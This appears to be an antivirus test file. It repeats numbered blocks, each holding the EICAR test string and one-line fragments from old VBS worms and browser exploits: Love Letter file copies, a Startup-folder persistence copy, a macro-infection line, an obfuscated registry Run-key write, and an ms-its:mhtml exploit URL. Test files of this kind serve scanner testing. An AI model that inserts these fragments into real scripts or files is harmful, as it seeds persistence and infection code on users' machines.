 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

742

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

743

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

744

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

745

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

746

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

747

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

748

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

749

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

750

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

751

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

752

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

753

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

754

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

755

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

756

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

757

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

758

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

759

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

760

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

761

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

762

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

763

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

764

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

765

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

766

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

767

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

768

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
